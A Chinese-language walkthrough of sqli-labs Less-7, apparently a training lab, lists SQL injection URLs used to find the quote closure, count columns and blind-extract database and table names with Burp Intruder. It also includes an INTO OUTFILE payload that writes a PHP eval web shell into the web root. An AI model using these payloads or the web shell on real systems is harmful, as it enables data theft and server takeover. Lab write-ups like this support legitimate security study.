Less-7 GET - Dump into outfile - String (导出文件GET字符型注入)
前言
一、GET字符型注入
执行数据库查询,并在回显点展示。
用户可以看到数据库查询出错时的错误语句,就可以观察报错语句分析出查询语句结构,从而构造特殊的payload进行注入,并从回显点中获取想要的信息。
二、步骤
通过报错判断类型和闭合
http://192.168.135.149/sqli/Less-7/?id=1'
判断为字符型,进一步查看回显
http://192.168.135.149/sqli/Less-7/?id=1')) and 1=1 -- 1
发现存在注入点
http://192.168.135.149/sqli/Less-7/?id=1')) and 1=2 -- 1
判断列数发现无显示
http://192.168.135.149/sqli/Less-7/?id=1')) group by 3 -- 1
http://192.168.135.149/sqli/Less-7/?id=1’)) union select 1,2,3 – 1
文件写入
http://192.168.135.149/sqli/Less-7/?id=1")) union select 1,2,'<?php @eval($_REQUEST["123"])?>' into outfile "E:\\phpstudy_pro\\WWW\\sqli\\Less-7\\1.php" --+
爆库名payload
http://192.168.135.149/sqli/Less-7/?id=1')) and length(database())=8 -- 1
http://192.168.135.149/sqli/Less-7/?id=1')) and ascii(substr(database(),1,1))=97 -- 1
使用1-8 1-127 进行You are in… Use outfile…过滤,结果为security
爆表名payload
http://192.168.135.149/sqli/Less-7/?id=1')) and (select count(*) from information_schema.tables where table_schema=database())=1 -- 1
在=1处给1Add §
http://192.168.135.149/sqli/Less-7/?id=1')) and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6 -- 1
在=6处给6Add §
判断表users的名字,下图是
http://192.168.135.149/sqli/Less-7/?id=1')) and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=97 -- 1
在,1,处 1 Add §为1爆破点,在=97处97 Add §为2爆破点
第一张表是email 再爆表为users的
进而再爆破字符段
总结
熟练应用burp suite的使用方法,方便sql注入的解题爆破,Proxy、Intruder、Repeater模块。同时文件写入的用法加以熟悉。即可完成本题。